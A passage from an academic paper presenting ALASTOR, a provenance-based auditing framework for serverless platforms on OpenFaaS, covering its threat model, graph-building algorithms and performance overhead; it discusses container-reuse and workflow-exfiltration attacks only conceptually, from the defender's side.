serverless, is the full range of traditional defensive solutions
also available? Traditional approaches (e.g., Linux Audit [95])
lack visibility into the platform and are thus oblivious to
key serverless semantics such as function instances, platform
APIs, and container reuse. The same is true of state-of-the-art
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Figure 1: Architecture of Hello,Retail!, created by Nordstrom, which here is annotated to demonstrate possible attack strategies
against serverless applications. Red arrows denote the attack path used in our case study in Section 8. This attack leverages both
container reuse and function workflows to exfiltrate data.

provenance-based auditing systems, many of which aggres-
sively filter terminated system activities (e.g., [62,63]) and are
thus in conflict with the notion of stateless ephemeral func-
tions. Worse yet, current serverless-specific industry solutions
are also lacking. Platforms offer limited support for execution
tracing, error reporting, resource utilization, and function mon-
itoring [3,6,69,70], but these services provide only a restricted
view of the application and are often limited by strict usage
limits [4]. Such limits discourage developers from logging
vital forensic evidence, contradicting the attack investigation
philosophy of “constant vigilance” [52]. Encouragingly, there
is a range of third party observability tools [13, 84, 85, 90]
that offer features like distributed tracing and cost analysis,
but these services are limited to certain language runtimes
and primarily target function-level protections. Unfortunately,
we are not aware of any service (or combination of services)
that provides holistic visibility into system-, network-, and
platform-layer interactions, all of which are necessary in order
to accurately trace serverless attacks.

In this paper, we seek to resolve these challenges through
considering the following questions. (1) Serverless prove-
nance: What are the specific agents, entities, and activities
that must be monitored to accurately reconstruct the prove-
nance of serverless applications? (2) Universal auditing for
serverless: How can forensic evidence at various levels of the
serverless stack be integrated to facilitate effective threat in-
vestigation? In answering these questions, we propose ALAS-
TOR, a serverless provenance framework that collects informa-
tion at different levels of the platform stack at finer granularity
than existing solutions. In ALASTOR, function instances (i.e.,
containers) are monitored both at the system level and the

application level (e.g., monitoring HTTP requests) and col-
lected information are reconciled to provide a holistic picture
of happenings inside the instance. The global provenance
builder service in ALASTOR collates information collected at
different function instances at a central reservoir within the
platform. This service then stitches the pieces of information
to derive a holistic provenance graph that succinctly explains
the interconnection and causation relationship between all the
components of a serverless application. ALASTOR is function
agnostic and can easily be integrated into existing server-
less platforms with minimal modification. We implement the
ALASTOR framework on top of the OpenFaaS serverless plat-
form. In this paper, we make the following contributions.

• We present ALASTOR, a function-agnostic provenance
framework for attack investigation in serverless environ-
ments. ALASTOR differs from traditional provenance tools
in that ALASTOR keeps track of both dead and live entities
in the environment.

• We implement ALASTOR 1 on top of the open source server-
less platform OpenFaaS and measure its performance over-
head compared to the vanilla OpenFaaS environment. We
discover that ALASTOR imposes only 13.74% overhead.

• We conduct a serverless intrusion case study on the well-
known Hello,Retail! application in which we compare
ALASTOR to Epsagon [13], a state-of-the-practice commer-
cial serverless tracing tool. We demonstrate ALASTOR’s
superior capabilities by reconstructing the attack path in full
detail, making it easy to diagnose the intrusion and deter-
mine its impacts.

1Our code and data are available for download at https://bitbucket.
org/sts-lab/alastor/
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2 Background and Motivation

Serverless computing liberates customers from the burdens
of managing their own software stack; virtual machine provi-
sioning, patches and upgrades to the operating system, load
balancing, and auto-scaling of requests are instead the respon-
sibility of the cloud provider. Serverless adopts a pay-per-use
model where customers are billed according to their CPU,
memory, and network usage only for the duration of their func-
tion executions, significantly reducing application deployment
costs [16]. Serverless enables rapid prototyping of applica-
tions by allowing developers to implement the business logic
as a set of small reentrant functions which chain together into
workflows that perform high-level tasks. To protect the plat-
form, from malicious or compromised applications, functions
are executed in isolated containers (“function instances”) that
are intended to provide a sterile environment for each stateless
and short-lived function invocation. For example, Figure 1
depicts the Hello,Retail! serverless e-commerce application.
Attacks on Serverless: While serverless applications are
subject to traditional web application vulnerabilities [96] in-
cluding event injection [29, 56, 58, 61, 78] and vulnerabilities
in library and platform code [5, 9, 43, 47], industry practition-
ers claim that ephemeral serverless functions make exploiting
such vulnerabilities more difficult in practice [49]. However,
despite the fact that a function’s lifecycle typically spans just
milliseconds of time, attackers have found new ways to ex-
ploit serverless functions. Figure 1 includes a depiction of an
exploitation where synthetic vulnerabilities are injected into
the Hello,Retail! application for the purposes of illustration.
While we leave the details of the attack to our case study
discussion in Section 8, we mention it here to motivate two
key attack strategies often administered by attackers:

• Exploiting Container Reuse: Even though the functions are
supposed to be stateless, the cost of setting up an entire
runtime environment for each function execution has en-
couraged container reuse. That is, “warm” containers are
cached and reused for future invocations of the same func-
tion within a pre-configured timeout window [17, 72, 97].
Opaque platform policies and scheduling algorithm details
obscure this practice, making it difficult for customers to
account for such issues during application development. At-
tackers have discovered that warm container reuse can be
exploited to achieve persistence by writing malware or toolk-
its to an in-memory partition (e.g., /tmp), then forcing the
compromised function instance to remain in the cache [58].
Step 4 in Figure 1 exploits container reuse.

• Exfiltration through Function Workflows: Many attacks de-
pend on the ability to exfiltrate stolen data [58]. Unfortu-
nately, simply restricting functions’ network access is an
ineffective deterrent; attackers have developed methods of
laundering stolen data through downstream authorized func-
tions and legitimate platform APIs in order to reach the open

Internet [61, 78]. They can leverage legitimate function tran-
sitions to move laterally through the application [58, 61, 78].
Moreover, the complexity of serverless access control poli-
cies leads to increased chance of misconfigurations [41, 74],
thus creating greater opportunity for attackers. Step 5 in
Figure 1 exfiltrates data over an authorized workflow.

In addition to the above attack scenarios, the abundance of
third party functions [2, 44–46, 53, 73] creates an additional
attack surface, exposing serverless applications to untrusted
and potentially malicious function code.
Limitations of Existing Approaches: Data provenance tech-
niques are used in operating systems to parse system-level
audit logs (e.g., Windows ETW [68], Linux Audit [1]) into
a causal graph that describes the dependencies between sys-
tem subjects (e.g., processes) and system objects (e.g., files,
network sockets). Data provenance techniques can be used in
root cause analysis by tracing the graph backwards starting
from a suspicious event. Moreover, a forward tracing query
can help in understanding the consequences of the attack.
Thus, provenance graphs are useful for investigating cyber
attacks [60]. However, most system-level provenance tech-
niques are confined to the events happening inside a single
machine, while the nature of attacks on serverless platforms
calls for distributed tracing and auditing mechanisms.

While a specialized auditing framework for serverless
has not yet emerged, growing evidence of attacks against
serverless platforms has led to the release of various tools
to improve runtime observability into serverless applications.
Cloud providers offer execution tracing, error reporting, alerts,
and resource usage breakdowns [3, 6, 69, 70]. However, these
techniques tend to focus on individual functions in isolation
and are often impeded by strict usage limits [4]. A range of
third party observability tools [13,84,85,90], offer additional
features but are limited to certain language runtimes and plat-
forms. Security mechanisms within these products are mostly
geared towards function-level protection and do not consider
more complex multi-function attack paths. When these prod-
ucts offer distributed tracing (e.g., [13]), they provide only
an opaque view of function execution that does not explain
system-level interactions, which is likely too coarse-grained
to diagnose and investigate attacks. Moreover, these tools do
not consider intra-container interactions (i.e., container reuse),
which is necessary to prevent cross-invocation attacks.

3 Threat Model & Assumptions

This work considers attacks against a serverless application
running in a third party public compute cloud platform, e.g.,
Amazon Lambda. We assume that the cloud provider and
platform infrastructure are trusted, meaning that the provider
will correctly deploy functions and will not attempt to col-
lude with attackers. Based on the popularity of Amazon
Lambda and other similar FaaS platforms, we assume that the
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Figure 2: An overview of the ALASTOR architecture and the provenance collection workflow.

provider is offering container-based serverless environments,
not language-based environments. Container-based platforms
are popular because they do not restrict customers to certain
languages or runtime environments, but this model also raises
increased security concerns because functions are not (neces-
sarily) written in type/memory-safe languages and they can
interact with the underlying host. Just as customers may run
potentially-buggy function code, we also admit the possibility
that customer’s access control policy configurations, which
restrict the permissions of individual functions, are miscon-
figured or insufficient. This is because there is already ample
evidence that role-based access controls in clouds (e.g., Ama-
zon IAM) are often incorrectly configured [41, 74] or are
overly permissive, allowing the attacker to traverse legitimate
function workflows to advance their goals [58, 61, 78].

Within this environment, we consider a serverless cloud
application that is the target of a sophisticated remote attacker
with the primary goal of data exfiltration. To do so, the at-
tacker can leverage a variety of traditional techniques and
procedures that are known problems on traditional computers
(e.g., [7]), including binary exploitation, command injection,
downloading and executing penetration testing tools etc. In
addition, they are also able to employ the aforementioned
serverless-specific attack techniques to achieve persistence
and exfiltrate data within this environment. The attacker can
use the compromised functions to execute any permissible
system flow to exfiltrate data, including transmission to the
external network, writing to persistent storage somewhere in
the cloud, or even writing to ephemeral storage inside the
function container for later retrieval. While the attacker effec-
tively has free rein within compromised function instances,
we assume that the attacker does not have administrative ac-
cess to the victim customer’s account.2 Thus, they are unable

2While exceptions have been observed [58], granting individual functions
access to the platform API keys is an egregious misconfiguration of access
control policy that is unlikely to occur. It is important to note, however, that

to launch their own functions, modify container images, or
tamper with access control policies.

We make the following additional assumptions about this
environment. Based on the architectures used by popular
serverless platforms today, we also assume the presence of an
API gateway in the cloud platform to handle external requests
originating from the public Internet. We further make the
assumption that all serverless functions are invoked through
the use of REST API calls or other forms of Remote Pro-
cedure Calls (event triggers, asynchronous callbacks). This
assumption is appropriate because web and API serving are
the most popular use cases in the serverless paradigm [57].
Like most auditing literature (e.g., [48, 65, 71, 77, 100]), we
assume that our event tracing mechanisms and the event logs
are correct at the time of their use. Because the cloud plat-
form is trusted and the attacker does not have administrative
access to the customer account, it is reasonable to assume that
secure storage for these logs exists. Under a more aggressive
threat model, log integrity could be verified through the use
of tamper-evident cryptographic protocols (e.g., [59, 75, 76]).
Finally, we do not consider cloud side channels (e.g., cross-
tenant side channels [80]) in this paper.

4 Overview

Given the state of serverless security, it is clear that there
is a pressing need for improved auditing and transparency.
However, deploying provenance-based auditing techniques in
the serverless domain poses several notable challenges:

• Auditing ephemeral activities. Serverless functions are short-
lived. Forensic analysis is not typically designed to support
auditing system entities that no longer exist or do not ef-
fect the present state of the system. For example, in the
pioneering LogGC paper [63], Lee et al. deem such events

this means the attacker we consider is less capable than a true insider attacker.
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as “garbage” and propose removing them from the log. A
variety of auditing frameworks similarly prune repeated
events [100] or causal paths [51]. State in serverless archi-
tectures is extremely limited; applying such techniques to
serverless risks destroying vital evidence of attack activities.

• Replication of vulnerable programs. A vulnerability in one
function implicates the security of many functions and con-
tainers that may be replicated across many instances on
different physical machines. Devising methods to trace a
vulnerability back to candidate sources and assess its poten-
tial impact on the broader application is not straightforward.

• Unwieldy auditing costs. Serverless customers pay only for
the resources they truly need. That said, serverless is far from
optimal in terms of its footprint in the audit log — because
function infrastructure is in a constant state of re-launch and
teardown, there are actually many more events associated
with a function invocation than would be expected from a
typical web request. In other words, we would expect the
overheads associated with serverless auditing to be even
worse than traditional server infrastructure.

Our Approach: While auditing serverless is challenging, a
key design aspect of serverless platforms can be leveraged
to ease the challenges — execution partitioning [62], an es-
sential precursor to causal analysis, is innate in serverless. In
execution partitioning, long-lived processes are subdivided
into autonomous units of work, allowing an investigator to
trace from a process output to the associated process input
without following irrelevant inputs (i.e., false provenance).
Due to the event-driven nature of serverless, low-level system
events can be reliably bound to an event-trigger. Furthermore,
high fan-out processes are scarce due to ephemeral functions.
Therefore, it is not necessary to perform additional execution
partitioning because process activities are already short-lived
and will be associated with little false provenance, if any.

Based on these observations, we propose ALASTOR, a
serverless provenance framework that transparently collects
information at every function instance (i.e., container) both
at the system level and the application level, then reconciles
them to provide a holistic picture of happenings inside the
instance. ALASTOR aggregates information from different
functions at a central reservoir within the platform and en-
codes the discovered causal dependencies into a global data
provenance graph to enable serverless attack investigation.
ALASTOR: Figure 2 describes two main components of
ALASTOR: the provenance collector and the global prove-
nance builder service. The provenance collector resides inside
each function instance and collects both system-level and
application-level activities initiated by the executing func-
tion. The global provenance builder service communicates
to the containers through the underlying container runtime
and fetches local provenance data stored in the function in-
stances. This service then stitches the pieces of information
to derive a holistic provenance graph that succinctly explains

the interconnection and causation relationship between all the
components of a serverless application.
Provenance Collection Workflow: The request handler in-
side a function container starts listening for incoming requests
when the container is deployed on the platform. The prove-
nance collection workflow is set in motion when the function
executor inside the request handler receives an invocation re-
quest ( 1 ). The executor then forks a process ( 2 ) that executes
the function logic. The Provenance Collector collects a trace
of the process, file and network system calls ( 3.1 ) invoked by
the forked process and its descendants. The Provenance Col-
lector also intercepts the function’s network traffic through the
use of a transparent network proxy ( 3.2 ), and reconciles this
higher level information with the lower level system events
through inspecting the port bindings ( 3.3 ). This combined
information is parsed into a local provenance graph by the
Provenance Collector ( 4 ) and is stored in a local database
within the container ( 5 ). The local provenance graph is ap-
pended with application level metadata (e.g., request ID, func-
tion execution duration, request and response headers and
body) emitted from the request handler logger ( 6 ).

The global provenance builder service runs on the control
plane of the serverless platform, using a cronjob that pulls the
local provenance graphs from all function instances ( 7 ). The
global graph creation routine runs within the global prove-
nance builder service and collates the local graphs and some
metadata collected from the logs of the platform services
(e.g., container ID, container state) ( 8 ) into a global graph
that defines the behavior of a serverless application ( 9 ).

5 ALASTOR Design

5.1 Provenance collector

Provenance Collector, the primary component in ALASTOR
architecture, performs four tasks described below.
System Call Tracing: The Provenance Collector’s system
call tracing mechanism keeps track of the process, file and
network related system calls using the strace utility. The trac-
ing mechanism generates system-level event trace as shown
at step 3.1 in Figure 2. System call tracing is critical to prove-
nance collection because an attacker’s malicious activities
are recorded in the set of system calls invoked by them. For
example, cross-invocation interference achieved through con-
tainer reuse [58] involves calling file-related system calls
open, read and write with same set of files as input param-
eters, across invocations. This creates an explicit data flow
from one function execution to another and this data flow can
be captured by inspecting the system call trace.
Network Profiling: While system call tracing provides visi-
bility into low-level network activity, IP-level information is
not sufficiently descriptive because application components
are regularly replicated and migrated. To address this, we
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additionally profile the REST API calls and http network re-
quests that form the basis of serverless communications [57].
To observe API usage and http requests, ALASTOR deploys
a transparent network proxy in each container. This network
proxy monitors all incoming and outgoing network requests
(step 3.2 in Figure 2) originating from the container. To ad-
dress the matter of encrypted traffic, ALASTOR’s provenance
collector contains an HTTPS proxy (mitmproxy [32]), which
is a common technique in enterprise environments for mon-
itoring security-sensitive network flows [36]. The network
profiling component not only allows ALASTOR to reconstruct
function workflows, but is also useful in identifying malware
downloads or sensitive data exfiltration to remote servers.

Process to Network Request Association: While the net-
work proxy provides insight into the higher level network
activities of the function, it is unable to associate a network
request to the specific system process that initiated the request.
To address this limitation, ALASTOR uses the ss utility to map
processes to port numbers (pid ! port) of TCP sockets they
use (step 3.3 in Figure 2) and computes the source port of orig-
inating network requests (port ! request) using mitmproxy.
This information is combined to compute the set of requests
sent by each process (pid ! request) in the container.

Local Provenance Graph Creation: In this phase, the prove-
nance collector encodes the collected provenance into a prove-
nance graph. The vertices in this graph are the system subjects
(processes) and objects (files, network connections) observed
in the function instance while the edges represent the causal
dependency events. A causal dependency event can be a sys-
tem call invocation or a REST API call or network request.
The edges are annotated with a timestamp of the event and
the type of event (e.g., read, open, GET etc.).

Algorithm 1 outlines the local provenance graph creation
routine used by the Provenance Collector. The algorithm
takes as input the request handler logs, system call traces
of processes and process to network requests mappings as
computed above. The algorithm initializes the graph with a
single container vertex representing the function instance
and an empty set of edges (lines 1-4). The container ID
can be read from the proc directory within the container
(e.g.,/proc/self/cgroup file in Docker container runtime).
Next, the request handler logs are parsed to identify processes
associated with individual incoming function invocation re-
quests and these process nodes are added in the graph (lines 5-
9). The network profiling provenance is encoded as IP address
vertices connected to respective process nodes (lines 10-14).
Then the GETSYSTEMCALLS(P) routine is called on each of
the process vertices currently present in the graph (lines 18-
20). This routine (lines 21-44) parses the strace output for
the process p. The system calls invoked by process p are
examined to eliminate failed system calls (failed system calls
may have negative return values) (line 22). This routine also
(lines 23-28) computes the progeny of p by tracking the fork,

Algorithm 1 Local Provenance Graph Creation

Inputs: Request handler log r.log; process.trace files; network proxy output net.log
Output: Local provenance graph G

1: G := (V,E)
2: containerId := Read container ID from /proc/self/cgroup
3: V := {containerId}
4: E := /0
5: MAP(hinvreqId; pidi) := Compute InvocationRequestID to PID mappings from

r.log
6: for each hinvreqId; pidi 2 MAP(hinvreqId; pidi) do

7: V :=V [{pid}
8: E := E [{(containerId ! pid, invreqId)}
9: end for

10: for each hpid;htt pReqi computed from net.log do

11: V :=V [{pid} .httpReq is a two-tuple (hipaddr : porti,restOp) where
restOp2{get, post, put, delete}

12: V :=V [{hipaddr : porti}
13: E := E [{(pid ! hipaddr : porti,restOp)}
14: end for

15: procSyscalls := {execve,fork,clone}
16: netSyscalls := {bind,listen,connect,accept,sendto,rcvfrom}
17: writeParams := {O_WRONLY,O_RDWR,O_APPEND,O_CREAT,O_TRUNC}
18: for each (v 2V | v.type == process) do

19: GETSYSTEMCALLS(v.pid)
20: end for

21: function GETSYSTEMCALLS(pid)
22: for each (sysCall 2 pid.trace | sysCall.retVal > 0) do

23: if sysCall 2 procSyscalls then

24: child.pid := Compute child process ID from
sysCall.params and sysCall.retVal

25: V :=V [{child.pid}
26: E := E [{(pid ! child.pid,sysCall)}
27: GETSYSTEMCALLS(child.pid)
28: end if

29: if sysCall 2 netSyscalls then

30: hipaddr : porti := Compute from sysCall.params
31: V :=V [hipaddr : porti
32: E := E [{(pid ! hipaddr : porti,sysCall)}
33: end if

34: if sysCall == open then

35: f ile := Compute file name from sysCall.params
36: V :=V [{ f ile}
37: if sysCall.params\writeParams 6= /0 then

38: E := E [{(pid ! f ile,write)}
39: else if O_RDONLY 2 sysCall.params then

40: E := E [{( f ile ! pid,read)}
41: end if

42: end if

43: end for

44: end function

execve and clone system calls and recursively calls GETSYS-
TEMCALLS on the child processes. The process nodes (p and
its descendants) are included in the graph and are connected
with edges directed from the parent to the children nodes.
Next, the system call parameters are processed (lines 29-42)
to compute the system objects (e.g., files, sockets) affected
by the successful system calls. These objects are added as
nodes in the graph and the edges connecting process nodes
to system objects it accessed are labeled with corresponding
system calls. The direction of the edge depends on the direc-
tion of the data flow. For example, an edge labeled read will
be directed to the process from the file object (line 40), and
a write edge will be in the opposite direction (i.e., from the
process to the file being written) (line 38). In each function
instance, a local provenance graph is created and stored until
it is fetched from the Global Provenance Builder Service.
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5.2 Global Provenance Builder Service

The global provenance builder service works alongside other
system services within the serverless platform. This ser-
vice implements one of the unique features of serverless
provenance collection technique: dead-provenance. Dead-
provenance deals with keeping track of the objects not exist-
ing in the environment anymore (i.e., dead containers) and
computing how the events induced in the past by dead objects
causally influence live objects. Dead-provenance is essen-
tial in serverless environments to detect attacks described in
Section 2, in contrast to traditional monolithic system prove-
nance [63]. The global provenance builder service performs
its operations in the following two phases.
Information collection from the platform and the in-

stances: The global provenance builder service queries the
platform services to learn about the deployed functions, run-
ning containers and their descriptions (e.g., whether the con-
tainers are in initialized, running or terminated states). Plat-
forms generally assign identifiers to every object in the ecosys-
tem. The unique identifiers for every function and every
container enables this service to trace flows across function-
instances that may or may not be active within the same times-
pan, or might have been terminated before. Unique identifiers
(normally assigned by the image registries) for container im-
ages are useful for tracing vulnerabilities discovered in one
forensics investigation in other uses of the same image.

Most serverless platforms’ designs allow every function in-
stance to be uniquely addressable within the overlay network
that connects them. Using these network addresses of the in-
stances, the global provenance builder service runs a periodic
routine that fetches local provenance graphs from each of the
function containers with the help of the underlying container
runtime apis. By design, when a container’s health starts to
deteriorate (e.g., the root process in the container receives
a SIGTERM or SIGKILL signal), the container runs a pre-
termination routine that sends the remaining local provenance
information to the global provenance builder service that has
not been yet fetched by the service, ensuring the completeness
of the global provenance graph created in the next step.
Global provenance graph creation: The global provenance
graph algorithm (Algorithm 2) takes as input the set of lo-
cal provenance graphs generated from Algorithm 1, and the
serverless platform logs (gateway logs, DNS server logs etc.).
The algorithm initializes the global graph with vertices cor-
responding to various platform services (lines 1-4). Then all
the edges and vertices from the local graphs are added to
the global graph (lines 6-9). The platform logs record the IP
addresses assigned to the different containers. A container ID
to IP address map is created from these logs (line 10). The
platform gateway routes and logs every request to a function
whether the request is intra-platform or externally originated.
Finally, from the gateway logs and the map constructed in line
10, the flow of requests among containers is computed, and the

Algorithm 2 Global Provenance Graph Creation

Inputs: Set of local provenance graphs {lgcontainerId}; plat f orm.log files
Output: Global provenance graph G

1: G := (V,E)
2: gateway := Read gateway IP from plat f orm.log
3: plat f orm_dns := Read DNS server IP from plat f orm.log
4: V := {gateway, plat f orm_dns}
5: E := /0
6: for each lgcontainerId do

7: V :=V [{lgcontainerId .V}
8: E := E [{lgcontainerId .E}
9: end for

10: MAP(hIP;containerIdi) := Compute IP assigned to containerId from
plat f orm.log for each container

11: for each reqId logged by the gateway in plat f orm.log do

12: E := E [ {(gateway ! containerId,reqId)} | MAP[destIPreqID] ==
containerId

13: E := E [ {(containerId ! gateway,reqId)} | MAP[srcIPreqID] ==
containerId

14: end for

corresponding edges labelled with request ID and timestamp
are added to the global provenance graph(lines 11-14).

When pre-termination provenance arrives from a terminat-
ing container, the subgraph corresponding to that container
is appended with the new information and the corresponding
container vertex is labeled terminated. In this way ALASTOR
preserves dead provenance in the global provenance graph.
As described in Figure 2, a complete multi-function attack
path is visible in the global provenance graph which is not
discoverable when the local graphs are inspected in isolation.

6 Implementation

We implemented ALASTOR in Go within OpenFaaS,3 an
open-source serverless platform. OpenFaaS is compatible
with several container orchestration platform backends, in-
cluding Kubernetes and Docker Swarm. We deployed ALAS-
TOR with OpenFaaS over Kubernetes. We primarily modified
two components of OpenFaaS, the watchdog and of-watchdog,
representing an addition of approximately 75 lines of Go code
(excluding build scripts, comments and blank lines). These
components act as request handlers in the function container
that receive and process incoming requests to the function.
Our changes are transparent to the function and do not inter-
fere with the functionalities of these components.

Our modifications are aimed towards instrumenting the
request handler in each container to proxy network requests
and track system calls as part of ALASTOR’s Provenance
Collector. We used the Mitmproxy [32] python library to
proxy HTTP and HTTPS requests generated by the functions
destined towards addresses external to the Kubernetes clus-
ter. The intra-cluster traffic is monitored using system logs
emitted from Kubernetes apiserver, OpenFaaS gateway, and
the instrumented function-container. The system call trac-
ing mechanism is implemented using the strace utility. The

3https://www.openfaas.com/
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Global Provenance Builder Service is implemented as an in-
dependent cron job that runs at the Kubernetes control plane,
without requiring any change in the underlying platform.

7 Performance Evaluation

In this section, we evaluate the performance overhead of
ALASTOR. We deployed ALASTOR on a server-class machine
with 64-core Intel(R) Xeon(R) CPU E5-2683v4 @2.10GHz
and 132 GB memory running CentOS Linux 7 (Core) 64
bit OS. Our experiments used the Docker version 20.10.3
as the container runtime, Kubernetes version 1.18.8 for or-
chestration, and OpenFaaS with of-watchdog version 0.8.1.
We configured the Kubernetes cluster as a single node clus-
ter with both the control plane services and user deployed
workloads running on the same node (i.e., the server-class
machine). All Docker images required for the following ex-
periments were pre-pulled in order to minimize the effects
of external networking variations. We compared ALASTOR’s
performance against the standard OpenFaaS (Vanilla). Since
Epsagon does not support the OpenFaaS platform, we were
unable to include it in our performance experiments.
Application workloads: Our primary test application is
Hello,Retail!, 4 which has been extensively used in re-
cent serverless literature [19, 33, 81]. Shown in Figure 1,
Hello,Retail! consists of 13 functions, 5 of which are pub-
licly accessible and 8 are internal (can only be accessed by
other functions). There are also 4 data stores used by dif-
ferent functions. We make use of Alpernas et al.’s fork of
Hello,Retail! [19], which replaces calls to the AWS-specific
components (e.g., S3) with calls to open-source alternatives
(e.g., sql-datastore), and make minimal further modifications
so that the application could run on the OpenFaaS framework
deployed on a Kubernetes cluster.

We also make use of two additional applications, a threat
response engine (falco [14]) and a sentiment analysis app
(sent-analysis) [15]. The Falco app [38] consists of 3 func-
tions: dispatch ingests alerts from a threat detection engine,
then invokes either notifier for publishing alerts to an admin-
istrator channel (NOTICE level alerts) or a delete-pod func-
tion that deletes the offending Kubernetes pod (WARNING
level alerts). The sentiment analysis application consists of a
single function that takes text as input, computes a sentiment
of the text, and returns the result. This corpus of applications
will allow us to characterize ALASTOR’s performance for
different workload profiles.
Build and Orchestration Performance: The pre-
deployment costs of building and storing container images
are shown in Figures 3.5 The build sizes and times are
averaged across 30 iterations for each function. The small
increase in image size over Vanilla OpenFaaS is due to

4https://github.com/Nordstrom/hello-retail
5Function names are shortened in the figures for brevity.
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Figure 3: Container image build performance comparison.

the additional ALASTOR code that is compiled into the
OpenFaaS of-watchdog binary and the installation of
the tracing mechanism and proxy certificates. Build time
overhead can be attributed to installing system call tracing
and proxy libraries during image building. These are one-time
costs incurred when building an image for the first time.

Overheads for orchestration performance are shown in Fig-
ure 4. Figure 4a reports the function deployment time, which
is the time required for the docker runtime to transition a
function instance from the “Container Creating” state to the
“Ready” state. Figure 4b reports the function teardown time,
which is the time required to transition the container from the
“Running” state to the “Terminated” state. Both figures show
the average overhead across 50 iterations of each function.
Averaging across all functions, ALASTOR deployment and
teardown overheads are 3.2% and 3.6%, respectively.

Runtime Performance: Of particular importance is the im-
pact of ALASTOR on function response latency, which we
measure as the time taken to receive a function response after
sending an invocation request from a client (curl) on the
local host machine. Figure 5 shows the response latencies
for each function, averaged over 500 repetitions. To improve
readability, the figure splits the y-scale such that the photos-
receive and sent-analysis functions with larger latencies can
be shown in the top half. Across the Hello,Retail! application,
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Figure 4: Orchestration performance for functions with ALAS-
TOR as compared to vanilla OpenFaaS.
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Figure 5: Response latencies of functions with ALASTOR as
compared to vanilla OpenFaaS.

ALASTOR incurs modest overheads averaging 13.74%, and
across the falco application, 6.22%. In the worst case, for
the sent-analysis function ALASTOR imposed 99.8% (1.2
sec) overhead; we attribute this to the I/O heavy nature of
this function, which performs many system calls on a large
text blob. These results may indicate that ALASTOR is better-
suited to event-driven applications (e.g., Hello,Retail!, Falco)
that do not perform extensive file I/O.
CPU and Memory utilization: Next, we measure the re-
source utilization overheads of ALASTOR under varying loads.
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Figure 6: Node CPU and memory utilization executing
Hello,Retail! Product Purchase workflow with ALASTOR as
compared to vanilla OpenFaaS, with and without function
scaling enabled.

To do so, we make use of Hello,Retail!’s product-purchase
workflow and use an HTTP load generator (hey) to issue in-
creasingly high request loads ranging from 10 to 500 requests
per second (rps). Results for each load are reported over 120
second trials. We also repeat this experiment in two cluster
configurations: where only a single container per function is
used (noscale) and where containers can scale up to 50 per
function (scaled). We measure utilization with Kubernetes
Metrics Server,6 in which 1 nanoCPU is defined as 1 billionth
of a cpu-core.

Figure 6 shows our results, with per-function CPU and
memory utilization reported in Figure 7. In Figure 6a, the
CPU utilization overhead for ALASTOR grows at a gradual
constant rate in the scaled configuration, with peaks denot-
ing the creation of new containers to cater to the increased
request load. In noscale, the total CPU utilization is lower be-
cause the server’s additional cores are not in use. In this case,
ALASTOR cannot handle beyond 200 rps and starts queueing
and dropping requests. The vanilla setup also struggles and
starts dropping requests at this time, although managing to
make progress at a much slower rate. In Figure 6b we observe

6https://github.com/kubernetes-sigs/metrics-server
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Figure 7: Per function CPU and memory utilization executing
Hello,Retail! Product Purchase workflow with ALASTOR as
compared to vanilla OpenFaaS, with and without function
scaling enabled.

that ALASTOR imposes almost constant memory overhead
throughout. For ALASTOR in the noscale configuration, the
memory footprint surpasses the scaled footprint at 300 rps due
to increasing queue of unprocessed in-flight requests. While
the CPU and memory overheads of ALASTOR are significant,
we observe that ALASTOR is able to support at least up to 500
rps on our test server; in fact, we were unable to fully saturate
the ALASTOR-enabled set-up using our test apparatus.

In Figure 7 we report the average CPU and memory utiliza-
tion across all running containers for a function in the scaled
configuration. This diagram shows a similar trend to Figure
6. With function scaling enabled (red and blue lines), both
the CPU and memory utilization growth for ALASTOR are
modest and stable with increasing request load.

Disk and Network Utilization: Storing and managing mas-
sive logs is a key problem in system auditing. In ALAS-
TOR’s case, logs impose overheads related to both network
transmission (to the global provenance builder service) and
long-term disk storage. Figure 8 reports on the log growth
in Hello,Retail! for an increasing number of requests to the
product-purchase workflow under four configurations: the
raw log, the log after filtering using Hossain et al.’s Source
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Figure 8: Total size of logs generated while executing
Hello,Retail! Product Purchase workflow with ALASTOR.

Workflows #Node #Edge Local graphs

purchase get-price authorize-cc publish

Benign 69 80 N18 E28 N13 E13 N21 E14 N13 E13
Attack1 76 117 N19 E36 N13 E13 N26 E34 N13 E13
Attack2 49 65 N18 E29 N13 E13 - N13 E13

Table 1: Complexity of ALASTOR request graphs in 3 dif-
ferent Hello,Retail! scenarios. The second and third column
denotes the size of the global provenance graph for a single
request and the local graph sizes of the constituent functions
are shown in the next columns.

Dependency Preserving Reduction (DPR) system [51], a tar
compressed version of the log, and finally a log that was first
filtered with DPR and then compressed (DPR+tar). DPR
is a state-of-the-art log reduction technique that selectively
deleted log events that are not necessary to correctly identify-
ing an object’s ancestors in the graph. It can be observed that
all configurations grow linearly with the number of requests;
this is because the small and well-formed nature of function
behaviors lead to highly deterministic provenance graphs. As
a result, the log compression and reduction techniques are
highly effective at eliminating the redundancies of typical
system execution. Ultimately, we conclude that ALASTOR be-
haves similarly to other system auditing frameworks – while
it produces a huge amount of data in raw form, these costs can
be effectively mitigated through a combination of log filtering
and data compression techniques. In fact, if we considered a
request load of 30 million per month on Amazon AWS, the
DPR+tar would impose just ~6.57 GB of storage per month.
Following the standard tier pricing ($0.023/GB per month) of
AWS S3 storage [10], this would lead to a cost of just $0.45
over a 3 month period and $5.44 over a 3 year period.

Closely related to disk utilization is the complexity of
ALASTOR’s provenance graphs; if the graphs for individ-
ual function or workflows are too large, they will be difficult
to interpret. Table 1 reports on graph complexity for three
end-to-end workflow invocations in Hello,Retail!: a benign
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invocation of product-purchase, and the two attack scenarios
described in Section 8. It can be observed that the Attack1
scenario, which abuses warm container reuse to link multi-
ple workflow invocations together, results in a large graph.
Regardless, all scenarios produce succinct graph representa-
tions that are orders of magnitude smaller than typical whole-
system provenance graphs (e.g., [25]). We attribute this to the
ephemeral and event-driven nature of serverless computing;
because execution is short-lived and well-defined, the typical
problems of graph complexity and dependency explosion [62]
do not arise for ALASTOR.
Total Cost of Operation: Based on these results, we can
calculate the total cost of operating ALASTOR on an Amazon
Lambda application based on published cost models [11]. To
demonstrate, we consider "product-purchase-get-price" and
"sentiment-analysis," the functions that incurred the high-
est response overheads. To mirror a request load similar
to an example quoted by Amazon, we choose a constant
load of 10 rps, which translates to 25.92 million requests
per month. Amazon costs are based on monthly request
charges and monthly compute charges. Billable requests
are charged $0.2 per million and computed as (25920000�
1000000), resulting in a fee of $4.98 for either function re-
gardless of whether ALASTOR is active. Compute charges,
measured in GigaByte-Seconds (GB-S), are calculated us-
ing the formula (num_requests ⇤ exec_time_per_request ⇤
memory_tier/1024�400000), where Amazon exampts the
first 400k GB-S from fees and then charges $0.00001667 per
